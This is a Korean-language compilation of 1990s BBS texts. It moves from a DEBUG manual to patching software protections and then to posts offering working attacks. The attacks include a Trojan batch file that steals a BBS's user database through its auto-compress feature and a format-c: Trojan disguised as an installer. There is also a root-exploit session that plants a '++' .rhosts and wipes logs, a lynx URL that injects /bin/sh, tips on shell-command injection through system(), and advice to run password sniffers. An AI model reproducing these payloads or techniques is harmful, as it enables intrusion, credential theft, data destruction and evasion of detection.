         레코드가 번지 0BBA:0100에서부터 로드가 끝나면 다시 DEBUG
         프롬프트가 나타난다.   만일 주어진 파일이 .exe 확장명을 가진
         파일이라면 그 파일의 헤더에 명시된 로드 번지에 Relocation될
         것이고 <Address> 파라미터가 있다면 무시된다.  파일의 헤더
         자체도 로드될 떼는 빠지기 때문에 실제 파일의 크기와 기억
         장소에 로드된 크기와는 다르다.

         또한 주어진 파일이 .hex 파일일때에는 그 파일의 명시된 번지에
         로드되는데 <Address> 파라미터가 있는 경우는 그 값을 더해서
         로드할 번지를 결정한다.

          섹터를 직접 읽어 들여 에디트할 정도의 실력은 되지 않은 관계
         로 더 이상의 추가 설명을 못 드리겠군요.
          대 부분 이것은 그리 필요하지 않을 것 같군요.

    <MOVE>
      명령어 : MOVE
      기  능 : <Range>에 의해 주어진 기억 장소의 일부분을 <Address>
               로 부터 시작되는 곳에 옮긴다.
      문  법 : M <Range> <Address>

   옮긴 장소와 옮겨지는 장소가 중첩되는 경우에도 데이타가 손실되는
  일없이 이동이 진행되는데 중첩되어 손실될 가능성이 있는 곳부터 먼저
  이동된다.   <Range> 와 <Address>가 작은 번지에서 큰 번지로 되어
  있으면 블럭의 뒷부분부터 이동이 진행되고 반대로 큰 번지에서 작은
  번지로 되어 있으면 앞쪽에서 부터 이동이 진행된다.
   이 M 명령어를 수행할 때 옮겨지는 블럭에는 새로운 데이터를 써 넣는것
  이 아니므로 그대로 남아있게 된다.  따라서 실제적으로 한 부분의 내용을
  다른 부분에 복사해 넣는 것과 같게 된다.   그래서 이동의 순서가 중요한
  것이다.

    예:  아래와 같이 입력하면
          MCS:0100 110 CS:500

   DEBUG는 CS:0100을 CS:0510에, CS:10F를 CS:50F에 하는 식으로 데이터를
  복사해 나간다.  이러한 이동의 결과를 보고 싶으면 M 명령에 사용한
  <Address>파라미터를 가지고 D 명령어를 수행하면 된다.


    <NAME>
      명령어 : NAME
      기  능 : 파일명을 지정한다.
      문  법 : N <Filename> [<Filename>........]]

   N 명령어는 두 가지 기능을 수행한다.  첫째는 다음에 올 LOAD나
  WRITE 명령어에서 사용될 파일의 이름을 지정하는 것이다.
  그래서 파일명을 지정해 놓지 않고 DEBUG를 시작했더라도 뒤에 원하는
  파일을 쓸 수 있계 된다.  둘째는 현재 디버깅하고 있는 파일 (프로
  그램)에 파라미터로 쓰이는 파일명을 지정하는 것잿령어를 실행한다면 현재


         디버깅하고 있는 파일 qedit.exe가 file2.dat라는 이름으로
         저장된다.   이와 같은 뜻하지 않은 결과를 피하려면 N 명령어
         를 반드시 LOAD나 WRITE 명령어 직전에 사용하도록 해야 한다.

    N 명령어를 사용하면 네 군데의 기억 장소가 영향을 받게 되는데
  다음과 같다.
             CS:5C       첫 번째 파일의 FCB
             CS:6C       두 번째 파일의 FCB
             CS:80       명령어로 주어진 문자열의 수
             CS:81       명령어로 주어진 모든 문자열.

    N 명령어에 첫 번째 파라미터로 주어진 파일의 FCB(File Control
   Block)가 CS:5C에 만들어지고, 두 번째 파라미터가 주어졌으면 그
   파일의 FCB가 CS:6C에 만들어진다.  그리고 N 명령어를 칠 때 입력한
   문자 수(제일 앞에 있는 N 명령어 제외)가 CS:80에 기록되며 그때
   입력한 실제의 문자들이 CS:81에서부터 시작해서 차례로 저장된다.
    (역시 이 경우에도 N 명령어 제외)

     예:  DEBUG qedit.exe
             -Ntest.txt
             -G
             -
          위의 경우 GO 명령어는 기억 장소에 있는 파일을 다음과 같은
          명령어가 주어진것처럼 실행된다.
             qedit.exe test.txt
                 위와 같이 하면 DEBUG 프로그램은 4F값을 출력 포트 2F8로

         보낸다.

    <QUIT>
      명령어 : QUIT
      기  능 : DEBUG 프로그램의 수행을 종료
      문  법 : Q

   Q 명령어는 파라미터를 하지 않는다.  이 명령어에는  재
  디버깅하고 있던 프로그램을 디스크에 저장하지 않고 그대로 DEBUG
  프로그램의 수행을 끝낸 후 DOS로 돌아간다.


    <REGISTER>
      명령어 : REGISTER
      기  능 : 한 개 이상의 CPU 레지스터의 내용을 표시한다.
      문  법 : R <Register_name>

    <Register_name>이 주어지지 않으면 레지스터 save영역의 내용이
   덤프되고, 모든 레지스터와 플레그의 내용이 표시된다.

    한편 <Register_name>을 주게 되면 그 레지스터의 값 PE NC_

     여기서 의미있는 플레그의 값을 아무 순서로나 주게되면 DEBUG
     프로그램은 플레그의 내용을 바꾼 후 DEBUG 프롬프트인 "-"를
     표시할 것이다.

         NV UP DI NG NZ AC PE NC_OVDNDIPLZRACPECY (Return)
     이제 원하는 대로 플레그가 바뀌었는지 보려면 R 또는 RF 명령어를
     다시 사용하면 된다.

         RF
         OV DN DI PL ZR AC PE CY_



    <SEARCH>
      명령어 : SEARCH
      기  능 : 주어진 기억장소상의 <Range>에서 <List>와 같은 스트링
               이 있나 검색한다.
      문  법 : S <Range> <List>

    <List>는 하나 이상의 Byte값으로 되어 있는데 같은 Byte값은
   스페이스나 커머로 분리된다.   <List>가 두 개 이상의 Byte값으로
   이루어져 있을 때는 제일 처음에 있는 Byte의 번지만이 구해지고
   한 개의 Byte값으로 되어 있을 경우에는 <Range>상에 나타난 모든
   번지가 구해진다.

    예:  다음과 같이 입력하면
         SCS:100 110 45
         아래와 같이 디스플레이 되거나 만약 일치되는 값이없다면
         단지 DEBUG 프롬프트만을 표시할 것이다.
             04EE:0104
             04EE:010F
             -



    <TRACE>
      명령어 : TRACE
      기  능 : 한 인스트럭션을 수행한 후 모든 레지스터와 플레그의
               내용이 수행된 인스트럭션을 표시한다.
      문  법 : T [=<Address>] [<Value>]

    =<Address>가 주어지면 그 주어진 번지에서부터 TRACE가 수행되며
   <Value>가 주어지면 그 값 만큼의 단계를 Trace한다.
    이 명령어에는 8086, 8088 프로세서의 하드웨어 Trace 기능을 이용
   하므로 ROM에 들어 있는 인스트럭션도 TRACE할 수 있다.

   예:  T 라고 명령어를 입력하면 DEBUG 프로그램은 그 한 인스트럭션을
        수행한 후 레지스터와 플레그의 내용을 표시해 준다.
        현재의 위치가 04EE:0113이라 한다면

        AX=0E00 BX=09FD CX=9FDA DX=10FF SP=1000 BP=0100
        SI=0000 DI=0000 DS=04EE ES=04EE SS=04EE CS=04EE
        IP=0113 NV UP DI NG NZ AC PE NC
        04EE:0113 CD21                  INT  21

        아래와 같이 입력하면
         T=0113  10
        DEBUG 프로그램은 0113으로부터 시작해서 10h개의 인스트럭션
        을 실행하면서 각 인스트럭션이 끝날 때마다 레지스터와 플레그의
        내용을 표시한다.  인스트럭션이 진행되고 새로운 정보가 표시될
        때마다 화면은 차례대로 올라가며 중간에 정지시켜 놓고 보고
        싶으면 <CONTROL-S>를 사용한다.


    <UNASSEMBLE>
      명령어  UNASSEMBLE
      기  능 : 기억장소의 내용을 읽어 들여 그것을 다시 소스 프로그램
               으로 바꿔준다.   이때 그 번지와 메모리상의 값도
               표시된다.
      문  법 : U <Range>

    이 명령어를 수행하고 난 결과는 어셈블리어 프로그램과 비슷할
   것이다.  파라미터없이 U 명령어를 치면 전에 U 명령어에 의해 번역되던
   다음에서부터 20h byte만큼 다시 번역되며 <Range>를 지정하면 그
   <Range>에 포함되는 모든 Byte들이 번역되는데 <Range>가 <Address>
   만으로 주어지면 그 번지에서부터 20h byte 만큼만 번역된다.

     예:  다음과 같이 입력하면
          U04EE:0100 L10
          DEBUG 프로그램은 04EE:0100에서부터 16Byte를 번역한다.
          그 결과는 아래와 같은 형식일 것이다.

             04EE:0100   206472  AND [si-72],ah
             04EE:0103   69      DB  69
             04EE:0104   7665    JBE 016B
             04EE:0106   207370  AND [BP+DI-70],DH
             04EE:0109   65      DB  65
             04EE:010A   63      DB  63
             04EE:010B   69      DB  69
            04EE:010C   66      DB  66
             04EE:010D   69      DB  69
             04EE:010E   63      DB  63
             04EE:010F   61      DB  61

        아래와 같이 하면,
          U04EE:0100  0108

             04EE:0100   206472  AND [si-72],ah
             04EE:0103   69      DB  69
             04EE:0104   7665    JBE 016B
             04EE:0106   207370  AND [BP+DI-70],DH

        메모리의 내용이 바뀌면 원래의 소스 프로그램의 내용과 바뀐
        내용이 디스어셈블리한 내용과는 다를 것이다.  따라서 이 U
        명령어를 사용하면 이 변화를 쉽게 소스 프로그램에 반영시킬
        수 있다.


    <WRITE>
      명령어 : WRITE
      기  능 : 디버깅하고 있는 파일을 디스크에 저장한다.
      문  법 : W [<Address> [<Drive> <Record> <Record>]]

    파라미터없이 W 명령어를 수행하면 미리 BX:CX에다 디스크로 출력할
   파일의 Byte수를 기록해 놓아야 하며 파일은 CS:0100에서부터
   시작한다.   <Address>만을 지정하면 그 번지에서부터 파일이 시작되는
   것으로 된다.   또한 LOAD나 GO 명령어를 사용한 후 W 명령어를
   파라미터 없이 쓰려면 BX:CX의 값을 다시 정해야 한다.  어떤 파일을
   로드해서 수정을 가했다 하더라도 그 전체의 길이만 변하지 않았다면
   이름이나 시작번지는 바뀌지 않는다는 사실에 주목한다.
    파일명은 DEBUG를 부를 때 주거나 N 명령어를 사용해서 지정해야
   하는 데 이 두가지 방법에 의해서 파일을 지정하면 그 파일명이 CS:5C
   에 있는 FCB에서 쓰이는 형식과 같이 주어지게 된다.

   <Drive>는 파일이 쓰여질 디스크 드라이브를 지정하며 앞의 <Record>는
   써 넣기 시작하는 논리적 레코드의 번호를, 뒤의 <Record>는 쓰여질
   레코드 수를 나타낸다.

   ##주의:  물리적 레코드번호를 가지고 절대 섹터에다 출력하는 것은
            매:0100
            에서부터 시작되는 파일을 집어 넣는다.


      Error 메세지 ----------

    DEBUG 프로그램을 사용하는 동안 아래와 같은 에러 메세지를 받을 수
   있는데 에러 메세지가 나타나면 현재 수행 중이던 명령어는 중단되어
   버린다.   그러나 DEBUG 프로그램 자체는 끝나지 않는다.

   ______________________________________________________________
  | 에러 코드 |            정              의                    |
  |___________|__________________________________________________|
  |           |잘못된 플레그 값                                  |
  |    BF     |잘못된 값을 가지고 플레그의 값을 바꾸려고 할 때   |
  |           |발생한다.                                         |
  |___________|__________________________________________________|
  |           |너무 많은 중지점                                  |
  |           |GO 명령어에서 열 개 이상의 중지점을 지정했을 경우 |
  |    BP     |발생한다.  열 개 이하로 중지점의 갯수를 줄 여 다시|
  |           |GO 명령어를 수행한다.                             |
  |___________|__________________________________________________|
  |           |잘못된 레지스터 지정                              |
  |    BR     |허용되지 않는 레지스터 이름을 가지고 Register명령 |
  |           |어를 썼을 경우에 발생한다.                        |
  |___________|__________________________________________________|
  |           |두 개 이상의 플레그값                             |
  |           |한 개의 플레그에 서로 반대되는  두가지 플레그 값을|
  |    DF     |주었을 경우에 발생한다.   RF 명령에서는 플레그에  |
  |           |한 가지 값 만 주어야 한다.                        |
  |___________|__________________________________________________|


그럼 간단한 실습을 해보겠습니다.
만물상 2.0 데모판을 사용하면 10초동안 기다리라는 메시지가 뜹니다.
이것은 전에 말한 cshow 의 15초 메시지와 아주 유사합니다.
이것을 디버그로 잡아보겠습니다.

debug seemain.exe
l
g
하고서 Ctrl+Break키를 누르면 카운터를 세던중에 빠져 나옵니다.
밑에 보면 Cmp 비교 JZ 01AE 이런 메시지가 뜹니다.
XXXX:036B 번지입니다.
그곳을 9090(NOP)로 우면 딱 한번만 카운터를 셉니다.
간단하죠?
여기의 디버그 메뉴얼을 잘 읽어보면 쉽게 이해가 갈겁니다.



**다음은  Debug Script 파일을 이용한 패치 프로그램 작성입니다.
아래 예제는  패치 프로그램이 어떤 식으로 구성되어 지나를 알려주기 위한 것입니다.
디버그/배치만 알면 간단한 패치는 노력 여하에 따라 작성 가능합니다.

디버그 스크립트 파일을 이용하면 아주 적은 용량으로 패치시키는 프로그램을 작성할 수
있습니다.
디버그의 기본적인 명령어와 배치파일에 대한 기초지식만 알면 누구나 작성할 수 있습니다.
패치 프로그램을 작성하려면 이것 역시 어느 부분을 패치해야 할지를 먼저 알아야 합니다.
일단 디버그로 로드해서 S(찾기) 명령으로 해당 오프셋 번지를 확인하고
패치할 데이터와 함께 아래와 같이 적습니다.


E 323C 90 90
E 3B48 90 90
E 3B4D 90 90


 그 다음 배치파일 안에 명기된 파일명을 해당 파일로 고치기만 하면 됩니다.
(여기에서는 TELIX.EXE)      TELIX.EXE를 TELIX.EX_로 바꾼 것은
EXE/HEX파일은 디버그에서 저장이 되지 않기 때문입니다. 패치가 끝나면
다시 원래대로 리네임합니다.

아래는 디버그 스크립트 파일을 포함한 배치파일 형태의 패치 프로그램 소스로
파일명은 TELIX322.BAT입니다.

@echo off
goto batch
N TELIX.EX_
L
E 323C 90 90
E 3B48 90 90
E 3B4D 90 90
W
Q
:Batch
if not exist TELIX.EXE goto error
ren TELIX.EXE TELIX.EX_ > nul
debug < TELIX322.BAT > nul
echo Patched complete!
ren TELIX.EX_ TELIX.EXE > nul
goto end
:Error
echo TELIX.EXE not found!
:End


이상입니다.


위 배치파일 자세한 설명 입니다.

@echo off      <명령 진행 상황을 표시하지 않는다.>
goto batch     <레이블 batch로 점프한다.>
N TELIX.EX_  ┐<Telix.ex_파일을 디버그로 로드한다.>       ─┐
L            ┘                                             │실제 디버그에서
E 323C 90 90   <오프셋 번지 323C, 323D 번지를 90h로 대치.>  │처리되는 명령어
E 3B48 90 90   <     "      3B48, 3B49         "         >  │(윗 부분은 모두
E 3B4D 90 90   <     "      3B4D, 3B4E         "         >  │  에러 처리됨.)
W              <바뀐 메모리를 저장한다.>                    │
Q              <디버그를 빠져 나온다.>                    ─┘
:Batch
if not exist TELIX.EXE goto error   <TELIX.EXE파일이 존재하지 않으면 점프.>
ren TELIX.EXE TELIX.EX_ > nul       <TELIX.EXE를 TELIX.EX_로 리네임.>
debug < TELIX322.BAT > nul          <디버그 상의 패치로 핵심(!) 부분.>
echo Patched complete!              <패치가 완료되었다는 메시지 표시.>
ren TELIX.EX_ TELIX.EXE > nul       <다시 원래대로 리네임.>
goto end                            <레이블 end로 점프.>
:Error
echo TELIX.EXE not found!           <TELIX.EXE가 존재하지 않는다는 메시지
:End                                                               출력.>


20회강좌 까지 끝이 났습니다.




 
 
제  목: 등대 호스트 해킹

  첫번째, 자동압축기능을 이용한 해킹방법입니다. 자동압축기능으로 해킹하는 방법은  자료
를 올린다음 자동압축기능을 실행하면 해당 압축기를 실행합니다. 이 압축기를 실행하는 순
간  해킹을   하는것입니다. 그러니까   RAR.EXE를  압축기로   사용한다면 RAR.BAT나
RAR.EXE나 RAR.COM을 올리시면 압축기 대신 압축기와 파일명이 똑같은 RAR.BAT라는 
해킹 프로그램을 실행하겠죠? 그럼 RAR.BAT의 해킹순서를 정리해보죠

1. LIST.RAR이라는 작은 용량의 파일을 만들어서 올린다
2. 이제 RAR.BAT를 만든다
   C:\>COPY CON RAR.BAT
   RAR.BAT
   DIR\/S > LIST.RAR
   ^Z
3. RAR.BAT를 컴파일하는 프로그램으로 RAR.COM으로 다시 RAR.EXE로 바꾼다.
4. 이제 RAR.EXE를 자료실에 올린다. 이제  자동압축기능을  사용하면서 상대편의 하드리
스트가 LIST.CAP라는 파일에 저장이 된다.
5. 이제 자기가 올린 LIST.CAP라는 용량 작은 파일을  다운한다. 그러면 분명이 자신이 올
렸던 용량과 달리 용량이 엄청나게 올라갔을 거다. 이러면  이제 상대편 하드리스트를 뽑는
데는 성공이다.
6. 이제 잠깐 도스쉘을 해서 리스트를 본다. 그러면 상대편의 리스트가 보일것이다. 이제 상
대편의 호스트 디렉토리를 찾는다. 상대편의 호스트  디렉토리가 만약 C:\BBS라면 이제 다
시 프로그램을 만든다.
7. RAR.BAT를 다시 만든다
   C:\>DEL RAR.BAT
   C:\>DEL RAR.EXE
   C:\>DEL RAR.COM
   C:\>COPY CON RAR.BAT
   DEL LIST.RAR
   ARJ A LIST C:\BBS\*.*
   REN LIST.ARJ LIST.RAR
   ^Z
8. 이제 다시 이걸 컴파일하는 프로그램으로 RAR.EXE까지 만든다.
9. 이제 다시 이걸 상대편  BBS에 업로드한다. 그러면 자동압축중입니다.  잠시만 기다리세
요. 이런 비슷한 메세지가 나오면서 시간이  용량에 비해서 꽤 지연된다. 그러면 또 2단계는
성공한거다
A. 이제 해킹은 마무리단계다. 이제 DD 명령을 이용해서 RAR.EXE 를 자료실에서 지운다.
B. 이제 V기능으로 LIST.RAR을 본다 그러면  한참후 BBS의  C:\BBS의 내용이 압축되어
서 보일것이다. 그러면 이제 USER.DAT와  USERDATA.DAT를 입력하여서 그 두개의 파
일만 받는다. 이제 해킹을 끝이다. 이제 다운방에 가면 11131213.RAR 비슷한 파일이 생겼을
것이다.  그 안에는 USER.DAT와 USERDATA.DAT가 있을것이다. 이걸 자신의 등대 디렉
토리에 복사한후에 DATAMAN.EXE를 실행시키면 상대편의 회원 목록들이 쫙 보일것이다.
운영자의 비번을 알아냈으면...
C. 이제 다시 접속하여서 상대편 BBS를 마음껏 주무르자!


제  목: 트로이 바이러스 제일 간단한것들..

그냥 도스에서 bat 파일을 만든다. 내용은 그냥 format명령과 기타 지우는 명령등 여러가지
를 섞어서 bat 파일을 만든후 그 bat 파일을 com 으로 바꾸고 exe  로 바꾸면된다. com 그
대로 두던지 그러고 나서 아주 좋은  프로그램인양 속이고 나서 운영자가 실행을  시키도록
유도한다. 아니면 진짜 좋은 프로그램을 올리고 중요한 인스톨  파일로 이름을 바꾼후에 업
로드 시키면 운영자는 별 이상한 점을 못느끼고 인스톨을 시도해 볼 것이다. 그러면 끝장나
겠죠. 트로이 목마 바이러스 말이 바이러스지 그냥 간단한 format c: 명령이랑 같네여 그것
을 속여서 다른 것으로 대체했다는 것이지만 이런건 조심조심하면 되여


제  목: 배치파일로 만든 트로이만드는법

보통 트로이 를 만들때 도스에서 배치 파일로 만든다음 com 으로 변화하던지 exe  로 변화
하지요. 그러나 이런 프로그램을 감지해서 알려주는 프로그램이 있어요.

제  목: [경험] 해킹

rz -b
B00000000

chmod 4755 xsr.c

rz -b
B000000000

gcc -o xsr xsr.c ; gcc -o zap zap.c

./xsr

whoami
root

./zap root
Zapping ROOT!!
cat .rhosts
++
+
^Z
cp .thosts /root/.rhosts

cd /etc
rm -rf *.log
rm -rf log*

cd
rm -rf .bash_history
대충 이런 방식....

글구 bash_hostory 이런건 저 처럼 지우시지 마시고 막아버리세요.
데몬을 이용하여 막던지 아니면
.bash_hitory 란 디렉토리를 만드시던지


제  목:  사설 비비

보통은 리눅스로 운영하죠...
대충 계정을 지원하는데를 찾아서..
guest 계정이 있는곳이면..
맨처음들어가서 여기 21 번 강좌 에있는 버그를 다 시도해보세요..
그럼 틀림없이 # 이란 쉘을 얻으실수 있으실 입니다.
리눅스는 버그가 그냥 먹힌다. 운영자가 게을르다.
리눅스 로 하는 비비는 거의 모두 그렇다...
그럼 # 쉘을 얻으 셧다면 무조건 부실라고 생각하시지 말고
꼭 정보를 빼네세요 아니면 운영자한테 알려 이익을 챙기던지..
예를 들어 스니퍼를 돌려 각 대형 호스트인
하이텔 , 나우누리 , 천리안 이런 호스트 말고 각 다른 사설비비...
등의 비번고  ID 를 얻으실수 있습니다.
그리고 자신만의 연습장으로 생각하시고..
배운 해킹을 써먹는것도 좋죠..
그리고 해킹하실때는
틈틈히 꼭! ps -aux | root 를 해보심이 좋을듯...
그럼
.

제  목: [해킹] 인포 비비에스에서의 외부 프로그램

인포 비비에스에서는 외부 프로그램을 돌리는 곳이 있다.
즉, 비비에스에서 외부로 나가기 위해 telnet 접속을 허용한다든지
뉴스 그룹을 보려고 tin 을 실행하던지
web을 보려고 lynx 라는 프로그램을 사용한다던지.
고 퍼 서비스를 하려고 고퍼 크로그램을 사용한다던지..
등등.. 많은 외부 프로그램들을 사용할 수가 있죠.
그 대표적인 서비스가 telnet 서비스죠.
그 다음은 텍스트로 웹을 볼수 있도록 고안된 lynx 라는 프로그램
여기서 제가 알려줄것은 바로 lynx 라는 프로그램을 돌리는
인포샵을 해킹하는 방법입니다.
아주 유용하며 일부 lynx 서비스하는 인포샵비비는 각별한
주의를 요망하며 악용하는 일이 없도록합시다.

보통 lynx 는 이런 화면이 나옵니다.

[soback4:/user5/kor1/shade]# lynx http://www.intercast.co.kr

                               (주)금인 - 금인사이버월드에 오신것을 환영합니다.

   REFRESH(5 sec): http://www.intercast.co.kr/index.htm

                        (주)금인 - 금인 사이버 월드

                             잠시만 기다리세요.

                                   [LINK]







Commands: Use arrow keys to move, '?' for help, 'q' to quit, '<-' to go back.
  Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
 H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

이런 형식으로 서비스가 시작된다.
보통 여기서 ! 를 누르게 되면 쉘로 빠지게 되는 일이 있다.
그러나 인포샵을 이용하는 분들은 이것을 패치하던지 소스를
변경해서 ! 커맨드를 막아 둡니다.
하지만 그런다고 쉘로 못빠질 쏘냐.
lynx 버그를 이용하면 바로 쉘로 빠집니다.
우선 g 를 누릅시다. 그러면 이런 화면이 나옵니다.

URL to open:   <= 이런 화면입니다.

이때 이런 커맨드가 있죠.
그러면 쉘로 빠짐니다.

위의 화면이 나와있을대 이렇게 ...

LYNXDOWNLOAD://Method=-1/File=/dev/null;/bin/sh;/SugFile=/dev/null
위를 그대로 입력하게 되면 이런 화면이 나오죠.

Enter a filename:

그러면 /dev/null 을 입력합니다.
그러면 이런 화면이

File exists. Overwrite? (y/n) 라고 하죠
Y를 누르면 바로 쉘로 뜹니다.
쉘이 뜬후에 stty echo 라고 입력하면 아주 정상적인 쉘로 뜹니다.
id 를 쳐보면 비비에스 계정입니다.
이때 해킹은 성공한거죠.
위의 과정을 자세히 다시 살펴보면
g 를 누른후에..

URL to open: LYNXDOWNLOAD://Method=-1/File=/dev/null;/bin/sh;/SugFile=/dev/null
Enter a filename: /dev/null
File exists. Overwrite? (y/n) y

$ stty echo

이런 과정입니다.
한번 id 를 쳐보세요 bbs 입니다.
마음 먹으면 인포샵 비비에스 다 지워버릴수도 있고
시삽이 될수도 있고. 좋죠?

이런 종류의 버그가 과거 하이텔 나우 에도 존재하였습니다.

제  목: 인포 비비에스의 텔넷 서비스 해킹

이번에 올링 해킹은 인포샵 비비에스에서 주로 하는 텔넷 서비스의
무능력 입니다.

어떤 곳은 컨트롤+c 를 접속되기 전에 뻔질나게(?) 누르면
성공이 되는 곳도 있었습니다.
지금은 모르겠지만..

본격적으로 말하려는 것은 이것이다.
바로 텔넷 서비스를 하는 곳..

이 버그 (?)는 아주 좋은(?) 버그이기 때문에 개념만 소개하고
자세한 것은 개인적인 메일이나 기타 매체를 이용하기 바란다.

우리는 비비에스 프로그램을 짤때 사용자의 편의를 최대한
보면서 만든다.
그중 텔넷서비스를 해주는 란을 만들고 있다고 치자(프로그래머가..)
계획 )
1. 사용자에게서 주소를 입력 받는다
2) ping 으로 그 주소가 살아있는지 확인해준다 (옵션 ^^;)
3) 연결해준다

이런 형식으로 프로그래머는 프로그래을 짤 것이다.
우선 주소를 입력 받을때 보통 특수문자에 대해서는 아무런 제한이
없이 입력 받는다. ( 어짜피 상관없다는 이야기??)
그후에 2번이나 3번 과정을 거쳐서 연결을 해준다.
하지만 이 과정을 대충 프로그램하면..

연결해주는 과정에서 system() 이라는 함수를 으례 쓰기 마련이다.
telnet 입력된 주소   <- 이런 식을 system() 함수에 넣는다.
즉, 사용자가 home.hitel.co.kr 을 넣었을때 프로그램은
InputData 변수에 home.hitel.co.kr 로 받는다.
sprintf(Telnet_Data,"/usr/bin/telnet %s",InputData);
system(Telnet_Data);

위는 하나의 예에 불과할뿐 언제나 그렇지는 않다..
아주 자연스럽게 사용자는 텔넷을 사용할 수 있다.
하지만 여기서 우리는 한가지 문제를 짚고 넘어가자

system()함수를 사용하게 되어 외부 프로그램인 telnet 을 돌리게
되면 제어는 비비에스에서 유닉스로 넘어오게 된다.
또한 유닉스 상태의 코드가 작용을 하게 된다.

이런 명령어를 실행하면 어떻게 되는 지 아는가?
cd /root ; ls -al ; echo "hahahaha"
위의 한줄 명령은 우선 root 디렉토리로 옮겨서 ls -al 이 실행된후
hahahaha 를 출력하고 끝낸다.
여기서 흰트를 얻을수 없을까?

바로 ; 라는 특수 문자이다.
이 특수문자는 유닉스제어에서 구분자(?)에 해당된다.

이 버그에 해당되는 인포샵 비비에스는 무려 5곳이 넘었다.
앞으로도 더 있을지도 모른다.

이쯤에도 아직 모르겠다고 생각하는 사람은 어서 유닉스와 프로그램 공부를
아주 조금만 더 하면 된다.

제  목: [해킹] 인포 비비에스의 외부 (2)

외부 프로그램을 사용시 유의할 점이 있죠
이번에는. 어떤 것을 할까요.
아주 쉬운거..
telnet 프로그램있죠?
이거 보통 ctrl + ] 키를 눌르면 이런 모드로 변하죠.
telnet>     <= 이런 모드
여기서 z 를 누르면 아시죠? 쉘로 빠지는거.
이것을 안막은 곳이 있을라나 모르겠군여.
99%는 막아두었게죠?

              ㅆ

제  목: [정보] 사설비비 인터넷주소.

제가 알고있는걸 올리겠습니다. 연결안되는곳도 있을수있을껍니다.

엑스넷 telnet 210.127.194.18
블루컴 telnet 210.113.215.2
야호넷 telnet 210.113.215.101
헤드넷 telnet 210.127.194.14
프로넷 telnet 210.127.194.70
하이밴 telnet 210.111.37.1
알파넷 telnet bbs.alpha.co.kr
멀티넷 telnet 210.236.85.10   login:multi
일주일 telnet 203.229.164.1
한통신 telnet 210.124.103.2
나드리 telnet nadri.co.kr       login:nadri
신천지 telnet scjnet.jsd.or.kr
체인스 telnet chains.or.kr       logim:chains
케이넷 telnet knet.alpha.co.kr
코코텔 telnet 168.126.145.1
뮤직넷 telnet musicnet.co.kr
워드넷 telnet 210.127.194.18
스마트라인 telnet 210.123.193.3
키스코넷 telnet 203.233.144.1
아바투아 telnet 210.111.23.1
코리아넷 telnet 210.127.194.10
키텔 telnet kitel1.kitel.or.kr
블루넷 telnet blue.alpha.co.kr

좋은정보가 되길 바래요.
느낌하나 telnet 210.111.8.11


제  목: [참고] 엘림넷.. 계정 서버..

엘림넷.계정 서버에 한번 가본적이 있었네요.
그런데 보안 패치를 한건지 안한건지는 몰라도..
몇가지 버그가 안통하더군요.
하지만 ps 버그는 통해요.
여기 버그란에 공개된 ps 버그중 최신 버그를 사용해보니..
가능하더군요.
gdb 를 써서 ps 를 살펴보는 그런 버그 리포트 있을꺼에요.
참고하구용.
거기 운영자에게 편지를 보내니깐.. 별 신통치 않은 반응이 있네용.
별 상관을 안하는 듯.
보니깐 몇몇 유저들이 스니퍼를 열시미 돌리던뎅.
무서운 곳이군요.
크크. 아무나 루트 되어서 스니퍼나 돌리공.
엘림넷.. 크크. 그러다가 사고 날라..

제  목: [해킹] 하이텔 해킹성공담 ( 몇개월전 )

몇달전에 비밀리에 하이텔에서 통용되었던 해킹 방법이
고퍼라는 프로그램에 있습니다.
하이텔 인터넷 서비스란에 가보시면 알겠지만

ftp 고퍼 lynx tin usenet news archie ppp telnet 등의 서비스를
하고 있습니다.
일반적으로 패치를 자주 하는 바람에 버그는 있지 않았습니다.
하지만 하이텔의 고퍼라는 프로그램은 버그는 없었지만 시스템 설정하는
부분에서 상당히 위험한 일이 생겼습니다.
즉 일반 유저가 고퍼 설정을 건드릴수가 있었죠.
이에 하이텔에 쉘로 빠지는 버그가 생겼습니다.
이의 과정을 잘보시면 그 것을 알수 있습니다.
참고로 지그은 통용 되지 않습니다. (크크)
하지만 불과 3달(?)전까지는 통용된거 같았습니다.
이 사실은 극소수 만이 알았으며 3명.. 아주 비밀리 시행
된것입니다.
하지만 이제는 되지 않습니다.
그래서 이렇게 밝히는 거죠..
이제는 구식 정보가 된거 같기도 하지만 다른 곳의 통신망에서는
아주 유용하게 쓰여집니다.

그럼 우선 그 과정을 살펴 볼까요?
우선 고퍼 메뉴를 선택합니다.
일반 계정 사용자는 연습삼아서 해보려면 gopher 이라고
계정에서 입력해보세요 만약 그 프로그램이 있다면 이런 화면이
나옴니다. 고퍼 메뉴로 들어갔을 경우도.. 마찬가지

ex) 여기서는 코넷의 고퍼 화면을 빌려서 자료로 씁니다.


                    Home Gopher server: gopher.kornet.nm.kr

 -->  [1]  KORNET 새소식/
      [2]  KORNET 가입안내/
      [3]  KORNET 서비스/
      [4]  게임 광장/
      [5]  문헌 정보/
      [6]  KORNET 접속/
      [7]  Client Program set-up 및 이용/
      [8]  WEB Home Page 작성법/
      [9]  KORNET 사용자를 위한 FAQ/





Press ? for Help, q to Quit                                         Page: 1/1

위의 화면이 나오면 고퍼가 성공정으로 띄워진것입니다.
이때 우리는 대문자 O 를 입력해보세요.
그러면 이렇게 화면이 바뀝니다.

                    Home Gopher server: gopher.kornet.nm.kr

 -->  [1]  KORNET 새소식/
      [2]  KORNET 가입안내/
      [3]  KORNET 서비스/
      [4]  게임 광장/
      [5]  문헌 정보/
      [6]  KORNETejjjjjjjjjjjjjjjGopher Optionsjjjjjjjjjjjjjjjd
      [7]  Clientq                                            q
      [8]  WEB Hoq  -->   1. General Options                  q
      [9]  KORNETq        2. Configure Display Applications   q
                 q        3. Configure Printing Applications  q
                 q        4. Define New Content-Type          q
                 q                                            q
                 q  Your Choice (1-4):                        q
                 q  [Help: ?]  [Cancel - ^C]                  q
                 fjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjc


(이하 생략)

위의 화면에서 Gopher options 라는 곳을 자세히 보세요.
1번으로 화살표가 되어있죠? 우리는 여기서 2번을 선택해야
합니다.
Configure Display Applications 를 선택해야 하기 때문이죠.
선택후 엔터를 누르세요.
그럼 이렇게 화면이 바뀝니다.

ejjjjjjjjjjjjjjjjjjjjjjjConfigure Display Applicationsjjjjjjjjjjjjjjjjjjjjjjjjd
q                                                                             q
q Text                        builtin                                         q
q text/plain                  builtin                                         q
q audio/basic                 |play -v 40 -&                                  q
q Image                       xv %s                                           q
q Terminal/telnet             telnet %s                                       q
q Terminal/tn3270             tn3270 %s                                       q
